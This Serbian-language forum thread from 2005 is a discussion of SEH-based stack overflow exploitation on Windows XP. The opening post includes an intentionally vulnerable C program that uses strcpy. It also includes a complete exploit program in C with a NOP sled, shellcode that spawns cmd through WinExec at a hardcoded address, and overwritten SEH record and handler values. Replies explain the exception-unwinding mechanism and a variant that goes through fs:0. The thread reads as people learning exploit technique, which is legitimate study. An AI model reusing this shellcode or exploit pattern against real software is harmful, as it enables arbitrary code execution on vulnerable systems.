Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Stack overflow over SEH ... ?

[es] :: Security Coding :: Stack overflow over SEH ... ?

[ Pregleda: 2950 | Odgovora: 3 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

`and

Član broj: 32490
Poruke: 776
*.vdial.verat.net.

Sajt: www.bitbyterz.org


Profil

icon Stack overflow over SEH ... ?18.06.2005. u 18:59 - pre 228 meseci
Ok ajde da malo pricamo o ovome jer mi nije sve najjasnije ...

1. Evo kako izgleda stack :

[junk]
[buffer]
[junk]
[seh record]
[seh handler]
[junk]

E sad seh handler pokazuje na seh record za odredjeni exeption, to znaci da preko seh record pointera mozemo uhvatiti EIP i izrsiti svoj exeption handler tj shellcode ... ok za sada jasno ... dalje, kada je exeption handler pozvan EBX treba da pokazuje na seh record za taj handler, na XPu se posle zvanja svi registry XORuju, a to resavamo sa "pop reg pop reg ret" zato sto lokacija ESP+8 pokazuje bas na seh record, i ovo je jasno ( bar meni a mozda sam negde pogresio ispravite me ) ...

[seh handler] = 0x77FA8CD5 // na XP SP1

Ok sada treba da prepisemo seh record i ja sam iz nekog txt video da treba da uradim ovako 0x909006EB da skocim 6 bajta napred i onda da odatle krene moj shellcode, ali kod mene to nije tako, evo koda pa bi bilo lepo kada bi neko sve to lepo objasnio ( verovatno ce da ispadne mnogo prosto ali jbg ne mogu vise da zamaram mozak a i bice korisno za es ) ...


lameseh.c
Code:

#include<stdio.h>
#include<string.h>
#include<windows.h>

int ExceptionHandler(void);
int main(int argc,char *argv[]){

    char temp[70];

if (argc != 2) exit(0);

 __try {

    strcpy(temp,argv[1]);

    } __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}


exploit.c
Code:

#include <stdio.h>
#include <string.h>

main()
{
char filename[] = "lameseh2.exe ";

char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57"
                   "\xC6\x45\xFC\x63" //c 
                   "\xC6\x45\xFD\x6D" //m
                   "\xC6\x45\xFE\x64" //d
                   "\x57\xC6\x45\xF8"
                   "\x01\x8D\x45\xFC\x50\xB8"
                   "\x35\xFD\xE6\x77" // WinExec()
                   "\xFF\xD0\xCC";    // 35 by

char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90";
                                      

// shellcode + nops 208 by

char sehrecord[] = "\x90\x90\x06\xEB";
char retn[]      = "\xD5\x8C\xFA\x77";


static char buffer[1000];  
strcat(buffer,filename);   
strcat(buffer,nops);       
strcat(buffer, shellcode); 
strcat(buffer,sehrecord);
strcat(buffer,retn);

system(buffer);           
}




Uh i sada moje konacno pitanje je : "Zasto ovo radi !?" :)
 
Odgovor na temu

deroko

Član broj: 48499
Poruke: 123
*.beotel.net.



Profil

icon Re: Stack overflow over SEH ... ?19.06.2005. u 13:33 - pre 228 meseci
Pa prosto kad dodje do EXCEPTIONa dolazi do pregledanja SEH struktura(stack unwind), i izvrsava se ona koja je poslednja postavljena, kako je sehhandle prebrisan sa tvojom adresom onda se posle exceptiona predaje kontrola tom SEHu...
inace evo ti link, malo je teze da objasnim recima, kad razumes kako radi SEH bice ti lakse da razumes i kako exploit radi...
http://spiff.tripnet.se/~iczelion/Exceptionhandling.html

 
Odgovor na temu

`and

Član broj: 32490
Poruke: 776
*.vdial.verat.net.

Sajt: www.bitbyterz.org


Profil

icon Re: Stack overflow over SEH ... ?19.06.2005. u 20:43 - pre 228 meseci
Ja sam se prebacio jer me je zbunilo ono jump na seh recordu ali to je samo pointer na sledecu exeption strukturu, a prepisivanjem seh handlera sam jednostvano uskocio u svoj nops+shellcode ...

tnx ...
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: Stack overflow over SEH ... ?19.06.2005. u 21:16 - pre 228 meseci
U ovom primjeru možeš prepisati i stari EH (koji se postavlja unutar fje), te (još bolje) i onaj "još stariji", koji će se vratiti prije prologa sa

Code:
pop reg
mov fs:0, reg


tako da ga samo preusmjeriš na svoj seh zapis u shellcode-u i onda izazoveš iznimku na neki način ili pričekaš da je sam program izazove.
 
Odgovor na temu

[es] :: Security Coding :: Stack overflow over SEH ... ?

[ Pregleda: 2950 | Odgovora: 3 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.